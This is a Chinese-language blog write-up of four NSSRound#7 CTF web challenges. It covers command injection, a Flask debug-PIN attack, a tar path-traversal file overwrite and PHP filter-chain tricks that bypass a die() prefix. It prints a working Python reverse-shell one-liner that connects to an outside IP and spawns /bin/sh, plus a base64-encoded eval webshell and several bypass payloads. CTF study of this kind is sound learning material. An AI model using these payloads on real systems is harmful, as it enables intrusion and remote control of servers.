[NSSRound#7 Team]Web题解
一、ecRCE
进入题目直接给出了源码:
<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);
putenv('LANG=zh_TW.utf8');
$action = $_POST["action"];
$data = "'".$_POST["data"]."'";
$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;
?>
直接使用了shell_exec运行了一个java文件,后面接了$action和$data变量,可以使用管道符直接运行命令。
二、Shadowflag
- 进入题目直接给出源码
from flask import Flask, request
import os
from time import sleep
app = Flask(__name__)
flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
flag2 = f.read()
tag = False
@app.route("/")
def index():
with open("app.py", "r+") as f:
return f.read()
@app.route("/shell", methods=['POST'])
def shell():
global tag
if tag != True:
global flag1
del flag1
tag = True
os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
action = request.form["act"]
if action.find(" ") != -1:
return "Nonono"
else:
os.system(action)
return "Wow"
@app.errorhandler(404)
def error_date(error):
sleep(5)
return "扫扫扫,扫啥东方明珠呢[怒]"
if __name__ == "__main__":
app.run()
访问了一下/console,是存在的,证明debug是开启的,源码中rm了flag1可以尝试下在不在进程proc中,flag2存在于python运行的程序中,需要调试程序,os.system()应该是用于反弹shell(其中要不包含空格,可以使用$IFS、$IFS$9等绕过空格),让用户得知文件信息计算PIN码,进入控制台调试得到flag2。
反弹shell
开始尝试使用bash反弹shell,但是好像反弹不成功,然后就上网找python的反弹shell。
python3${IFS}-c${IFS}'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.79.29.170",4000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
原理就是使用python创建套接字,定义一个唯一进程,向主机发起连接,通过os.dup2()进行重定向,0,1,2表示输入、输出、错误内容都传送到socket,然后使用/bin/sh让shell可以进行交互。- 查找删除flag1的进程是否未关闭
在进程18中找到rm的进程,还未关闭,可以直接读取出来,原因就是在linux删除文件时,某个程序直接使用或者占用这个文件,执行删除命令并没有立刻删除,占用的空间也没有被回收等原因。
- 读取计算PIN码的数据
由于是docker机的原因所以这里没有/etc/machine-id,所以要读取/proc/sys/kernel/random/boot_id,至于如何生成PIN码,NSSROUND#6中已经分析过。
- 进入控制台调试得到flag2
三、[NSSRound#7 Team]新的博客
- 进入题目
存在url跳转,只有上面好险啊能够跳转,存在注册和登录功能,注册后进入看看。
提示了源码的目录,两次base和hex得到了static/www.tar.gz,并且存在备份和下载接口,直至看到可以上传tar.gz后缀名文件,并且看到了是python写的,就猜到了跟ROUND6一样,应该是python那个文件覆盖漏洞,下载文件回来,提示使用admin登录即可获得flag,并且conf中存在json格式使用sha512加密的密码,应该是上传userinfo.json文件覆盖掉原来的,然后便可以使用admin登录。
先使用sha512加密,制造一个userinfo.json的文件:
import hashlib
import json
password='123456'
with open('userinfo.json','wb') as file:
file.write(json.dumps({'admin':hashlib.sha512(password.encode('utf-8')).hexdigest()}).encode('utf-8'))
然后就是压缩成tar.gz文件,但是python的文件覆盖目录和路径要几乎一致,于是需要得到存放的目录路径,从/blog/backup中,可以看到是以为用户名开头的目录,然后源码是www/app/conf/userinfo.json,所以conf前面应该还有两个目录,压缩的时候,要一致,可以为 用户名/../../conf/userinfo.json,压缩好后上传,注销,使用123456登录admin即得到了flag。
四、[NSSRound#7 Team]0o0
- 这题很tips,没有见过,所以看WP学习了,觉得很有意思,首先进入题目:
- GET访问S0uRc3进入第一层level,源码:
<?php
header('get:S0uRc3');
error_reporting(0);
set_include_path('Round7/');
// include: Nss
// include: level2
if (isset($_GET['0o0'])) {
$O0O = file_get_contents($_GET['0o0'],1);
if (strpos($O0O, 'Round7') === 0) {
die('NO!!!!! Permission denied!');
} else if (strpos($O0O, 'Xy1on') === 0) {
echo $O0O;
die();
} else {
die("Nothing!!!");
}
}
if(isset($_GET['S0uRc3'])){
highlight_file(__FILE__);
$O0O = file_get_contents('CTF',1);
echo $O0O;
}else{
echo "Nothing here";
}
?>
目录是Round7,通过strpos()函数查找Xy1on要出现在0的位置上,输出file_get_content()获取到的文件,这里需要获取的是level2,但是获取level2时候要有Xy1on出现在头位置,通过github的工具梭 https://github.com/synacktiv/php_filter_chain_generator
![在这里插入图片描述](https://img-blog.csdnimg.cn/b371bfb62941424bb73c6962d030c5d6.png
- 访问Ns_SCtF.php,得到源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';
if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
if (isset($_GET['nss_ctfer.vip'])) {
if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
$nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
if ($nss && $nSscTF === "NSSRound7") {
if (isset($_POST['submit'])) {
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);
echo "OoO0o0hhh.";
} else {
die("NoO0oO0oO0!");
}
} else {
die("N0o0o0oO0o!");
}
} else {
die("NoOo00O0o0!");
}
} else {
die("Noo0oO0oOo!");
}
} else {
die("NO0o0oO0oO!");
}
} else {
die("No0o0o000O!");
}
} else {
die("NO0o0o0o0o!");
} NO0o0o0o0o!
首先是各自绕过,第一层数组绕过,NSSCTF[]=1&NSSCTF[]=2,第二层是in_array()第三个参数没有直接strict导致可以绕过,NsScTF=1q,第三层是伪协议NsScTf=data://text/plain,Welcome to Round7!!!,第四层nss_ctfer.vip注意变为nss[ctfer.vip(因为PHP匹配的时候会自动将[.变成下划线,有且仅变一次),第五层是intval()绕过,字符串使用科学计数法,会默认是前面的数字,比如'1e1'转化变成1,NSScTf=114514e1,第五层直接nSScTF=1,$nSscTF=NSSRound7。这里的关键是文件上传,通过strops()检测文件的名称是否存在png,直接改增加png即可绕过,关键是会将<?php die("Round7 do you like");写入到文件中,所以就导致了传入的虽然是php文件,但是会终止。这里也是使用上面同一个tips,使用过滤器使用文件,如php://filter/write=convert.base64-decode/resource=aiwin.png.php,让写入内容进行base64解码,这里要使用URL编码,绕过/resource=aiwin.png.php作为文件名,然后在文件写入的内容中构造base64,使得<?php die("Round7 do you like");被不正常解码,造成死亡绕过。
效果如下:
<?php
$strrr = '<?php die("Round7 do you like");aaaPD9waHAKQGV2YWwoJF9QT1NUWzFdKTsKCj8+';
echo base64_decode($strrr);
#输出:�]��h�w{v���X�y��<?php
#
# @eval($_POST[1]);?>
为什么是加了3个a呢,因为使用base64过滤器解码时,php首先会自动跳过不在表中的字符,就变成了phpdieRound7doyoulike,21个字符,base64解码又是以4byte一组,加3个字符变成24个刚好被base64解码,后面我们的一句话木马也刚好被base64成功解码。
这里当然也可以使用其它进行绕过,使用rot13不行,会出现报错,返回数据为空,如下:
可以使用usc-2等等其它的:
- 通过蚁剑得到flag
除了base64,还有许多绕过,如绕过下面的代码:
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,'<?php die("Round7 do you like");'.$content);
- rot13绕过:rot13会忽略非字母表的字符,通过进行rot13解码,所以也可以进行恶意构造
当然这里利用需要php关闭short_open_tag,使得php开始的缩写标志<??>不使用
- string.strip_tags绕过:从字符串中去除PHP标记,空字符的结果,可以使用|进行多种过滤器完成绕过。
string.strip_tags直接把<?php die("Round7 do you like");给去除掉,然后使用base64解码一句话木马。
convert.iconv.usc-2、usc-4都一样:对目标字符串进行2位或4位一反转,即将两个字符反转,一般构造的代码得是2的倍数
等等等等总的来说,在进行file_get_content(),read(),readfile()时以上原理通过不同的过滤器构造恶意语句,从而使得死亡语句不生效。
文章标题:[NSSRound#7 Team]Web题解
文章链接:https://aiwin.fun/index.php/archives/1465/
最后编辑:2024 年 1 月 4 日 17:02 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)